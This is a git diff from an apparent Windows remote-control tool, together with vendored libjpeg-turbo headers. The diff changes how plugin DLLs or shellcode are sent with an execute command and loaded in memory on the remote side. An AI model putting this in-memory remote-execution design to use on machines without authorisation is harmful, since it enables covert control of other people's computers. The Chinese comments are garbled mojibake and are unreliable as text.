// 100<30>ֽ<EFBFBD>: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> + <20><>С + <20><><EFBFBD>÷<EFBFBD>ʽ + DLL<4C><4C><EFBFBD><EFBFBD> + <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// 100<30>ֽ<EFBFBD>: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> + <20><>С + <20><><EFBFBD>÷<EFBFBD>ʽ + DLL<4C><4C><EFBFBD><EFBFBD>
|
||||||
typedef struct DllExecuteInfo {
|
typedef struct DllExecuteInfo {
|
||||||
int RunType; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
int RunType; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
int Size; // DLL <20><>С
|
int Size; // DLL <20><>С
|
||||||
int CallType; // <20><><EFBFBD>÷<EFBFBD>ʽ
|
int CallType; // <20><><EFBFBD>÷<EFBFBD>ʽ
|
||||||
char Name[32]; // DLL <20><><EFBFBD><EFBFBD>
|
char Name[32]; // DLL <20><><EFBFBD><EFBFBD>
|
||||||
char Func[32]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
char Reseverd[56];
|
||||||
char Reseverd[24];
|
|
||||||
}DllExecuteInfo;
|
}DllExecuteInfo;
|
||||||
|
|
||||||
enum
|
enum
|
||||||
@@ -531,11 +605,10 @@ enum
|
|||||||
SHELLCODE = 0,
|
SHELLCODE = 0,
|
||||||
MEMORYDLL = 1,
|
MEMORYDLL = 1,
|
||||||
|
|
||||||
CALLTYPE_DEFAULT = 0, // Ĭ<>ϵ<EFBFBD><CFB5>÷<EFBFBD>ʽ: void (*CallTypeDefault)(void)
|
CALLTYPE_DEFAULT = 0, // Ĭ<>ϵ<EFBFBD><CFB5>÷<EFBFBD>ʽ: ֻ<EFBFBD>Ǽ<EFBFBD><EFBFBD><EFBFBD>DLL,<2C><>Ҫ<EFBFBD><D2AA>DLL<4C><4C><EFBFBD><EFBFBD>ʱִ<CAB1>д<EFBFBD><D0B4><EFBFBD>
|
||||||
|
CALLTYPE_IOCPTHREAD = 1, // <20><><EFBFBD><EFBFBD>run<75><6E><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>: DWORD (__stdcall *run)(void* lParam)
|
||||||
};
|
};
|
||||||
|
|
||||||
typedef void (*CallTypeDefault)(void);
|
|
||||||
|
|
||||||
typedef DWORD(__stdcall* PidCallback)(void);
|
typedef DWORD(__stdcall* PidCallback)(void);
|
||||||
|
|
||||||
inline const char* EVENTID(PidCallback pid) {
|
inline const char* EVENTID(PidCallback pid) {
|
||||||
@@ -703,4 +776,10 @@ public:
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
#ifdef _WIN64
|
||||||
|
#define MYMSG MSG
|
||||||
|
#else
|
||||||
|
#define MYMSG MSG64
|
||||||
|
#endif
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
|
|||||||
30
common/dllRunner.h
Normal file
30
common/dllRunner.h
Normal file
@@ -0,0 +1,30 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
// A DLL runner.
|
||||||
|
class DllRunner {
|
||||||
|
public:
|
||||||
|
virtual ~DllRunner(){}
|
||||||
|
virtual void* LoadLibraryA(const char* path, int size = 0) = 0;
|
||||||
|
virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) = 0;
|
||||||
|
virtual BOOL FreeLibrary(void* mod) = 0;
|
||||||
|
};
|
||||||
|
|
||||||
|
// Default DLL runner.
|
||||||
|
class DefaultDllRunner : public DllRunner {
|
||||||
|
private:
|
||||||
|
std::string m_path;
|
||||||
|
HMODULE m_mod;
|
||||||
|
public:
|
||||||
|
DefaultDllRunner(const std::string &path="") :m_path(path), m_mod(nullptr) {}
|
||||||
|
// Load DLL from the disk.
|
||||||
|
virtual void* LoadLibraryA(const char* path, int size = 0) {
|
||||||
|
return m_mod = ::LoadLibraryA(size ? m_path.c_str() : path);
|
||||||
|
}
|
||||||
|
virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) {
|
||||||
|
return ::GetProcAddress(m_mod, lpProcName);
|
||||||
|
}
|
||||||
|
virtual BOOL FreeLibrary(void* mod) {
|
||||||
|
return ::FreeLibrary(m_mod);
|
||||||
|
}
|
||||||
|
};
|
||||||
33
common/jconfig.h
Normal file
33
common/jconfig.h
Normal file
@@ -0,0 +1,33 @@
|
|||||||
|
#define JPEG_LIB_VERSION 62
|
||||||
|
#define LIBJPEG_TURBO_VERSION 2.1.1
|
||||||
|
#define LIBJPEG_TURBO_VERSION_NUMBER 2001001
|
||||||
|
|
||||||
|
#define C_ARITH_CODING_SUPPORTED
|
||||||
|
#define D_ARITH_CODING_SUPPORTED
|
||||||
|
#define MEM_SRCDST_SUPPORTED
|
||||||
|
#define WITH_SIMD
|
||||||
|
|
||||||
|
#define BITS_IN_JSAMPLE 8 /* use 8 or 12 */
|
||||||
|
|
||||||
|
#define HAVE_STDDEF_H
|
||||||
|
#define HAVE_STDLIB_H
|
||||||
|
#undef NEED_SYS_TYPES_H
|
||||||
|
#undef NEED_BSD_STRINGS
|
||||||
|
|
||||||
|
#define HAVE_UNSIGNED_CHAR
|
||||||
|
#define HAVE_UNSIGNED_SHORT
|
||||||
|
#undef INCOMPLETE_TYPES_BROKEN
|
||||||
|
#undef RIGHT_SHIFT_IS_UNSIGNED
|
||||||
|
|
||||||
|
/* Define "boolean" as unsigned char, not int, per Windows custom */
|
||||||
|
#ifndef __RPCNDR_H__ /* don't conflict if rpcndr.h already read */
|
||||||
|
typedef unsigned char boolean;
|
||||||
|
#endif
|
||||||
|
#define HAVE_BOOLEAN /* prevent jmorecfg.h from redefining it */
|
||||||
|
|
||||||
|
/* Define "INT32" as int, not long, per Windows custom */
|
||||||
|
#if !(defined(_BASETSD_H_) || defined(_BASETSD_H)) /* don't conflict if basetsd.h already read */
|
||||||
|
typedef short INT16;
|
||||||
|
typedef signed int INT32;
|
||||||
|
#endif
|
||||||
|
#define XMD_H /* prevent jmorecfg.h from redefining it */
|
||||||
386
common/jmorecfg.h
Normal file
386
common/jmorecfg.h
Normal file
@@ -0,0 +1,386 @@
|
|||||||
|
/*
|
||||||
|
* jmorecfg.h
|
||||||
|
*
|
||||||
|
* This file was part of the Independent JPEG Group's software:
|
||||||
|
* Copyright (C) 1991-1997, Thomas G. Lane.
|
||||||
|
* Modified 1997-2009 by Guido Vollbeding.
|
||||||
|
* libjpeg-turbo Modifications:
|
||||||
|
* Copyright (C) 2009, 2011, 2014-2015, 2018, 2020, D. R. Commander.
|
||||||
|
* For conditions of distribution and use, see the accompanying README.ijg
|
||||||
|
* file.
|
||||||
|
*
|
||||||
|
* This file contains additional configuration options that customize the
|
||||||
|
* JPEG software for special applications or support machine-dependent
|
||||||
|
* optimizations. Most users will not need to touch this file.
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Maximum number of components (color channels) allowed in JPEG image.
|
||||||
|
* To meet the letter of Rec. ITU-T T.81 | ISO/IEC 10918-1, set this to 255.
|
||||||
|
* However, darn few applications need more than 4 channels (maybe 5 for CMYK +
|
||||||
|
* alpha mask). We recommend 10 as a reasonable compromise; use 4 if you are
|
||||||
|
* really short on memory. (Each allowed component costs a hundred or so
|
||||||
|
* bytes of storage, whether actually used in an image or not.)
|
||||||
|
*/
|
||||||
|
|
||||||
|
#define MAX_COMPONENTS 10 /* maximum number of image components */
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Basic data types.
|
||||||
|
* You may need to change these if you have a machine with unusual data
|
||||||
|
* type sizes; for example, "char" not 8 bits, "short" not 16 bits,
|
||||||
|
* or "long" not 32 bits. We don't care whether "int" is 16 or 32 bits,
|
||||||
|
* but it had better be at least 16.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* Representation of a single sample (pixel element value).
|
||||||
|
* We frequently allocate large arrays of these, so it's important to keep
|
||||||
|
* them small. But if you have memory to burn and access to char or short
|
||||||
|
* arrays is very slow on your hardware, you might want to change these.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#if BITS_IN_JSAMPLE == 8
|
||||||
|
/* JSAMPLE should be the smallest type that will hold the values 0..255.
|
||||||
|
*/
|
||||||
|
|
||||||
|
typedef unsigned char JSAMPLE;
|
||||||
|
#define GETJSAMPLE(value) ((int)(value))
|
||||||
|
|
||||||
|
#define MAXJSAMPLE 255
|
||||||
|
#define CENTERJSAMPLE 128
|
||||||
|
|
||||||
|
#endif /* BITS_IN_JSAMPLE == 8 */
|
||||||
|
|
||||||
|
|
||||||
|
#if BITS_IN_JSAMPLE == 12
|
||||||
|
/* JSAMPLE should be the smallest type that will hold the values 0..4095.
|
||||||
|
* On nearly all machines "short" will do nicely.
|
||||||
|
*/
|
||||||
|
|
||||||
|
typedef short JSAMPLE;
|
||||||
|
#define GETJSAMPLE(value) ((int)(value))
|
||||||
|
|
||||||
|
#define MAXJSAMPLE 4095
|
||||||
|
#define CENTERJSAMPLE 2048
|
||||||
|
|
||||||
|
#endif /* BITS_IN_JSAMPLE == 12 */
|
||||||
|
|
||||||
|
|
||||||
|
/* Representation of a DCT frequency coefficient.
|
||||||
|
* This should be a signed value of at least 16 bits; "short" is usually OK.
|
||||||
|
* Again, we allocate large arrays of these, but you can change to int
|
||||||
|
* if you have memory to burn and "short" is really slow.
|
||||||
|
*/
|
||||||
|
|
||||||
|
typedef short JCOEF;
|
||||||
|
|
||||||
|
|
||||||
|
/* Compressed datastreams are represented as arrays of JOCTET.
|
||||||
|
* These must be EXACTLY 8 bits wide, at least once they are written to
|
||||||
|
* external storage. Note that when using the stdio data source/destination
|
||||||
|
* managers, this is also the data type passed to fread/fwrite.
|
||||||
|
*/
|
||||||
|
|
||||||
|
typedef unsigned char JOCTET;
|
||||||
|
#define GETJOCTET(value) (value)
|
||||||
|
|
||||||
|
|
||||||
|
/* These typedefs are used for various table entries and so forth.
|
||||||
|
* They must be at least as wide as specified; but making them too big
|
||||||
|
* won't cost a huge amount of memory, so we don't provide special
|
||||||
|
* extraction code like we did for JSAMPLE. (In other words, these
|
||||||
|
* typedefs live at a different point on the speed/space tradeoff curve.)
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* UINT8 must hold at least the values 0..255. */
|
||||||
|
|
||||||
|
typedef unsigned char UINT8;
|
||||||
|
|
||||||
|
/* UINT16 must hold at least the values 0..65535. */
|
||||||
|
|
||||||
|
#ifdef HAVE_UNSIGNED_SHORT
|
||||||
|
typedef unsigned short UINT16;
|
||||||
|
#else /* not HAVE_UNSIGNED_SHORT */
|
||||||
|
typedef unsigned int UINT16;
|
||||||
|
#endif /* HAVE_UNSIGNED_SHORT */
|
||||||
|
|
||||||
|
/* INT16 must hold at least the values -32768..32767. */
|
||||||
|
|
||||||
|
#ifndef XMD_H /* X11/xmd.h correctly defines INT16 */
|
||||||
|
typedef short INT16;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* INT32 must hold at least signed 32-bit values.
|
||||||
|
*
|
||||||
|
* NOTE: The INT32 typedef dates back to libjpeg v5 (1994.) Integers were
|
||||||
|
* sometimes 16-bit back then (MS-DOS), which is why INT32 is typedef'd to
|
||||||
|
* long. It also wasn't common (or at least as common) in 1994 for INT32 to be
|
||||||
|
* defined by platform headers. Since then, however, INT32 is defined in
|
||||||
|
* several other common places:
|
||||||
|
*
|
||||||
|
* Xmd.h (X11 header) typedefs INT32 to int on 64-bit platforms and long on
|
||||||
|
* 32-bit platforms (i.e always a 32-bit signed type.)
|
||||||
|
*
|
||||||
|
* basetsd.h (Win32 header) typedefs INT32 to int (always a 32-bit signed type
|
||||||
|
* on modern platforms.)
|
||||||
|
*
|
||||||
|
* qglobal.h (Qt header) typedefs INT32 to int (always a 32-bit signed type on
|
||||||
|
* modern platforms.)
|
||||||
|
*
|
||||||
|
* This is a recipe for conflict, since "long" and "int" aren't always
|
||||||
|
* compatible types. Since the definition of INT32 has technically been part
|
||||||
|
* of the libjpeg API for more than 20 years, we can't remove it, but we do not
|
||||||
|
* use it internally any longer. We instead define a separate type (JLONG)
|
||||||
|
* for internal use, which ensures that internal behavior will always be the
|
||||||
|
* same regardless of any external headers that may be included.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef XMD_H /* X11/xmd.h correctly defines INT32 */
|
||||||
|
#ifndef _BASETSD_H_ /* Microsoft defines it in basetsd.h */
|
||||||
|
#ifndef _BASETSD_H /* MinGW is slightly different */
|
||||||
|
#ifndef QGLOBAL_H /* Qt defines it in qglobal.h */
|
||||||
|
typedef long INT32;
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* Datatype used for image dimensions. The JPEG standard only supports
|
||||||
|
* images up to 64K*64K due to 16-bit fields in SOF markers. Therefore
|
||||||
|
* "unsigned int" is sufficient on all machines. However, if you need to
|
||||||
|
* handle larger images and you don't mind deviating from the spec, you
|
||||||
|
* can change this datatype. (Note that changing this datatype will
|
||||||
|
* potentially require modifying the SIMD code. The x86-64 SIMD extensions,
|
||||||
|
* in particular, assume a 32-bit JDIMENSION.)
|
||||||
|
*/
|
||||||
|
|
||||||
|
typedef unsigned int JDIMENSION;
|
||||||
|
|
||||||
|
#define JPEG_MAX_DIMENSION 65500L /* a tad under 64K to prevent overflows */
|
||||||
|
|
||||||
|
|
||||||
|
/* These macros are used in all function definitions and extern declarations.
|
||||||
|
* You could modify them if you need to change function linkage conventions;
|
||||||
|
* in particular, you'll need to do that to make the library a Windows DLL.
|
||||||
|
* Another application is to make all functions global for use with debuggers
|
||||||
|
* or code profilers that require it.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* a function called through method pointers: */
|
||||||
|
#define METHODDEF(type) static type
|
||||||
|
/* a function used only in its module: */
|
||||||
|
#define LOCAL(type) static type
|
||||||
|
/* a function referenced thru EXTERNs: */
|
||||||
|
#define GLOBAL(type) type
|
||||||
|
/* a reference to a GLOBAL function: */
|
||||||
|
#define EXTERN(type) extern type
|
||||||
|
|
||||||
|
|
||||||
|
/* Originally, this macro was used as a way of defining function prototypes
|
||||||
|
* for both modern compilers as well as older compilers that did not support
|
||||||
|
* prototype parameters. libjpeg-turbo has never supported these older,
|
||||||
|
* non-ANSI compilers, but the macro is still included because there is some
|
||||||
|
* software out there that uses it.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#define JMETHOD(type, methodname, arglist) type (*methodname) arglist
|
||||||
|
|
||||||
|
|
||||||
|
/* libjpeg-turbo no longer supports platforms that have far symbols (MS-DOS),
|
||||||
|
* but again, some software relies on this macro.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#undef FAR
|
||||||
|
#define FAR
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* On a few systems, type boolean and/or its values FALSE, TRUE may appear
|
||||||
|
* in standard header files. Or you may have conflicts with application-
|
||||||
|
* specific header files that you want to include together with these files.
|
||||||
|
* Defining HAVE_BOOLEAN before including jpeglib.h should make it work.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef HAVE_BOOLEAN
|
||||||
|
typedef int boolean;
|
||||||
|
#endif
|
||||||
|
#ifndef FALSE /* in case these macros already exist */
|
||||||
|
#define FALSE 0 /* values of boolean */
|
||||||
|
#endif
|
||||||
|
#ifndef TRUE
|
||||||
|
#define TRUE 1
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* The remaining options affect code selection within the JPEG library,
|
||||||
|
* but they don't need to be visible to most applications using the library.
|
||||||
|
* To minimize application namespace pollution, the symbols won't be
|
||||||
|
* defined unless JPEG_INTERNALS or JPEG_INTERNAL_OPTIONS has been defined.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifdef JPEG_INTERNALS
|
||||||
|
#define JPEG_INTERNAL_OPTIONS
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef JPEG_INTERNAL_OPTIONS
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* These defines indicate whether to include various optional functions.
|
||||||
|
* Undefining some of these symbols will produce a smaller but less capable
|
||||||
|
* library. Note that you can leave certain source files out of the
|
||||||
|
* compilation/linking process if you've #undef'd the corresponding symbols.
|
||||||
|
* (You may HAVE to do that if your compiler doesn't like null source files.)
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* Capability options common to encoder and decoder: */
|
||||||
|
|
||||||
|
#define DCT_ISLOW_SUPPORTED /* accurate integer method */
|
||||||
|
#define DCT_IFAST_SUPPORTED /* less accurate int method [legacy feature] */
|
||||||
|
#define DCT_FLOAT_SUPPORTED /* floating-point method [legacy feature] */
|
||||||
|
|
||||||
|
/* Encoder capability options: */
|
||||||
|
|
||||||
|
#define C_MULTISCAN_FILES_SUPPORTED /* Multiple-scan JPEG files? */
|
||||||
|
#define C_PROGRESSIVE_SUPPORTED /* Progressive JPEG? (Requires MULTISCAN)*/
|
||||||
|
#define ENTROPY_OPT_SUPPORTED /* Optimization of entropy coding parms? */
|
||||||
|
/* Note: if you selected 12-bit data precision, it is dangerous to turn off
|
||||||
|
* ENTROPY_OPT_SUPPORTED. The standard Huffman tables are only good for 8-bit
|
||||||
|
* precision, so jchuff.c normally uses entropy optimization to compute
|
||||||
|
* usable tables for higher precision. If you don't want to do optimization,
|
||||||
|
* you'll have to supply different default Huffman tables.
|
||||||
|
* The exact same statements apply for progressive JPEG: the default tables
|
||||||
|
* don't work for progressive mode. (This may get fixed, however.)
|
||||||
|
*/
|
||||||
|
#define INPUT_SMOOTHING_SUPPORTED /* Input image smoothing option? */
|
||||||
|
|
||||||
|
/* Decoder capability options: */
|
||||||
|
|
||||||
|
#define D_MULTISCAN_FILES_SUPPORTED /* Multiple-scan JPEG files? */
|
||||||
|
#define D_PROGRESSIVE_SUPPORTED /* Progressive JPEG? (Requires MULTISCAN)*/
|
||||||
|
#define SAVE_MARKERS_SUPPORTED /* jpeg_save_markers() needed? */
|
||||||
|
#define BLOCK_SMOOTHING_SUPPORTED /* Block smoothing? (Progressive only) */
|
||||||
|
#define IDCT_SCALING_SUPPORTED /* Output rescaling via IDCT? */
|
||||||
|
#undef UPSAMPLE_SCALING_SUPPORTED /* Output rescaling at upsample stage? */
|
||||||
|
#define UPSAMPLE_MERGING_SUPPORTED /* Fast path for sloppy upsampling? */
|
||||||
|
#define QUANT_1PASS_SUPPORTED /* 1-pass color quantization? */
|
||||||
|
#define QUANT_2PASS_SUPPORTED /* 2-pass color quantization? */
|
||||||
|
|
||||||
|
/* more capability options later, no doubt */
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* The RGB_RED, RGB_GREEN, RGB_BLUE, and RGB_PIXELSIZE macros are a vestigial
|
||||||
|
* feature of libjpeg. The idea was that, if an application developer needed
|
||||||
|
* to compress from/decompress to a BGR/BGRX/RGBX/XBGR/XRGB buffer, they could
|
||||||
|
* change these macros, rebuild libjpeg, and link their application statically
|
||||||
|
* with it. In reality, few people ever did this, because there were some
|
||||||
|
* severe restrictions involved (cjpeg and djpeg no longer worked properly,
|
||||||
|
* compressing/decompressing RGB JPEGs no longer worked properly, and the color
|
||||||
|
* quantizer wouldn't work with pixel sizes other than 3.) Furthermore, since
|
||||||
|
* all of the O/S-supplied versions of libjpeg were built with the default
|
||||||
|
* values of RGB_RED, RGB_GREEN, RGB_BLUE, and RGB_PIXELSIZE, many applications
|
||||||
|
* have come to regard these values as immutable.
|
||||||
|
*
|
||||||
|
* The libjpeg-turbo colorspace extensions provide a much cleaner way of
|
||||||
|
* compressing from/decompressing to buffers with arbitrary component orders
|
||||||
|
* and pixel sizes. Thus, we do not support changing the values of RGB_RED,
|
||||||
|
* RGB_GREEN, RGB_BLUE, or RGB_PIXELSIZE. In addition to the restrictions
|
||||||
|
* listed above, changing these values will also break the SIMD extensions and
|
||||||
|
* the regression tests.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#define RGB_RED 0 /* Offset of Red in an RGB scanline element */
|
||||||
|
#define RGB_GREEN 1 /* Offset of Green */
|
||||||
|
#define RGB_BLUE 2 /* Offset of Blue */
|
||||||
|
#define RGB_PIXELSIZE 3 /* JSAMPLEs per RGB scanline element */
|
||||||
|
|
||||||
|
#define JPEG_NUMCS 17
|
||||||
|
|
||||||
|
#define EXT_RGB_RED 0
|
||||||
|
#define EXT_RGB_GREEN 1
|
||||||
|
#define EXT_RGB_BLUE 2
|
||||||
|
#define EXT_RGB_PIXELSIZE 3
|
||||||
|
|
||||||
|
#define EXT_RGBX_RED 0
|
||||||
|
#define EXT_RGBX_GREEN 1
|
||||||
|
#define EXT_RGBX_BLUE 2
|
||||||
|
#define EXT_RGBX_PIXELSIZE 4
|
||||||
|
|
||||||
|
#define EXT_BGR_RED 2
|
||||||
|
#define EXT_BGR_GREEN 1
|
||||||
|
#define EXT_BGR_BLUE 0
|
||||||
|
#define EXT_BGR_PIXELSIZE 3
|
||||||
|
|
||||||
|
#define EXT_BGRX_RED 2
|
||||||
|
#define EXT_BGRX_GREEN 1
|
||||||
|
#define EXT_BGRX_BLUE 0
|
||||||
|
#define EXT_BGRX_PIXELSIZE 4
|
||||||
|
|
||||||
|
#define EXT_XBGR_RED 3
|
||||||
|
#define EXT_XBGR_GREEN 2
|
||||||
|
#define EXT_XBGR_BLUE 1
|
||||||
|
#define EXT_XBGR_PIXELSIZE 4
|
||||||
|
|
||||||
|
#define EXT_XRGB_RED 1
|
||||||
|
#define EXT_XRGB_GREEN 2
|
||||||
|
#define EXT_XRGB_BLUE 3
|
||||||
|
#define EXT_XRGB_PIXELSIZE 4
|
||||||
|
|
||||||
|
static const int rgb_red[JPEG_NUMCS] = {
|
||||||
|
-1, -1, RGB_RED, -1, -1, -1, EXT_RGB_RED, EXT_RGBX_RED,
|
||||||
|
EXT_BGR_RED, EXT_BGRX_RED, EXT_XBGR_RED, EXT_XRGB_RED,
|
||||||
|
EXT_RGBX_RED, EXT_BGRX_RED, EXT_XBGR_RED, EXT_XRGB_RED,
|
||||||
|
-1
|
||||||
|
};
|
||||||
|
|
||||||
|
static const int rgb_green[JPEG_NUMCS] = {
|
||||||
|
-1, -1, RGB_GREEN, -1, -1, -1, EXT_RGB_GREEN, EXT_RGBX_GREEN,
|
||||||
|
EXT_BGR_GREEN, EXT_BGRX_GREEN, EXT_XBGR_GREEN, EXT_XRGB_GREEN,
|
||||||
|
EXT_RGBX_GREEN, EXT_BGRX_GREEN, EXT_XBGR_GREEN, EXT_XRGB_GREEN,
|
||||||
|
-1
|
||||||
|
};
|
||||||
|
|
||||||
|
static const int rgb_blue[JPEG_NUMCS] = {
|
||||||
|
-1, -1, RGB_BLUE, -1, -1, -1, EXT_RGB_BLUE, EXT_RGBX_BLUE,
|
||||||
|
EXT_BGR_BLUE, EXT_BGRX_BLUE, EXT_XBGR_BLUE, EXT_XRGB_BLUE,
|
||||||
|
EXT_RGBX_BLUE, EXT_BGRX_BLUE, EXT_XBGR_BLUE, EXT_XRGB_BLUE,
|
||||||
|
-1
|
||||||
|
};
|
||||||
|
|
||||||
|
static const int rgb_pixelsize[JPEG_NUMCS] = {
|
||||||
|
-1, -1, RGB_PIXELSIZE, -1, -1, -1, EXT_RGB_PIXELSIZE, EXT_RGBX_PIXELSIZE,
|
||||||
|
EXT_BGR_PIXELSIZE, EXT_BGRX_PIXELSIZE, EXT_XBGR_PIXELSIZE, EXT_XRGB_PIXELSIZE,
|
||||||
|
EXT_RGBX_PIXELSIZE, EXT_BGRX_PIXELSIZE, EXT_XBGR_PIXELSIZE, EXT_XRGB_PIXELSIZE,
|
||||||
|
-1
|
||||||
|
};
|
||||||
|
|
||||||
|
/* Definitions for speed-related optimizations. */
|
||||||
|
|
||||||
|
/* On some machines (notably 68000 series) "int" is 32 bits, but multiplying
|
||||||
|
* two 16-bit shorts is faster than multiplying two ints. Define MULTIPLIER
|
||||||
|
* as short on such a machine. MULTIPLIER must be at least 16 bits wide.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef MULTIPLIER
|
||||||
|
#ifndef WITH_SIMD
|
||||||
|
#define MULTIPLIER int /* type for fastest integer multiply */
|
||||||
|
#else
|
||||||
|
#define MULTIPLIER short /* prefer 16-bit with SIMD for parellelism */
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
/* FAST_FLOAT should be either float or double, whichever is done faster
|
||||||
|
* by your compiler. (Note that this type is only used in the floating point
|
||||||
|
* DCT routines, so it only matters if you've defined DCT_FLOAT_SUPPORTED.)
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef FAST_FLOAT
|
||||||
|
#define FAST_FLOAT float
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif /* JPEG_INTERNAL_OPTIONS */
|
||||||
1176
common/jpeglib.h
Normal file
1176
common/jpeglib.h
Normal file
File diff suppressed because it is too large
Load Diff
BIN
compress/jpeg/turbojpeg_32_d.lib
Normal file
BIN
compress/jpeg/turbojpeg_32_d.lib
Normal file
Binary file not shown.
BIN
compress/jpeg/turbojpeg_32_r.lib
Normal file
BIN
compress/jpeg/turbojpeg_32_r.lib
Normal file
Binary file not shown.
BIN
compress/jpeg/turbojpeg_64_d.lib
Normal file
BIN
compress/jpeg/turbojpeg_64_d.lib
Normal file
Binary file not shown.
BIN
compress/jpeg/turbojpeg_64_r.lib
Normal file
BIN
compress/jpeg/turbojpeg_64_r.lib
Normal file
Binary file not shown.
@@ -218,7 +218,7 @@ DllInfo* ReadPluginDll(const std::string& filename) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
DllExecuteInfo info = { MEMORYDLL, fileSize, CALLTYPE_DEFAULT, };
|
DllExecuteInfo info = { MEMORYDLL, fileSize, CALLTYPE_IOCPTHREAD, };
|
||||||
memcpy(info.Name, name.c_str(), name.length());
|
memcpy(info.Name, name.c_str(), name.length());
|
||||||
buffer[0] = CMD_EXECUTE_DLL;
|
buffer[0] = CMD_EXECUTE_DLL;
|
||||||
memcpy(buffer + 1, &info, sizeof(DllExecuteInfo));
|
memcpy(buffer + 1, &info, sizeof(DllExecuteInfo));
|
||||||
@@ -2467,8 +2467,7 @@ void CMy2015RemoteDlg::OnDynamicSubMenu(UINT nID) {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
int menuIndex = nID - ID_DYNAMIC_MENU_BASE; // <20><><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ID<49><44>
|
int menuIndex = nID - ID_DYNAMIC_MENU_BASE; // <20><><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ID<49><44>
|
||||||
if (IDYES != MessageBoxA(CString("ȷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD>д<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>? ִ<EFBFBD><EFBFBD>δ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԵĴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"
|
if (IDYES != MessageBoxA(CString("ȷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD>д<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>?\nִ<EFBFBD><EFBFBD>δ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԵĴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!"),
|
||||||
"\n<EFBFBD><EFBFBD>ʾ: <20><>ǰ<EFBFBD>汾Ҫ<E6B1BE><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD>ʱִ<CAB1><D6B4><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>롣"),
|
|
||||||
_T("<EFBFBD><EFBFBD>ʾ"), MB_ICONQUESTION | MB_YESNO))
|
_T("<EFBFBD><EFBFBD>ʾ"), MB_ICONQUESTION | MB_YESNO))
|
||||||
return;
|
return;
|
||||||
EnterCriticalSection(&m_cs);
|
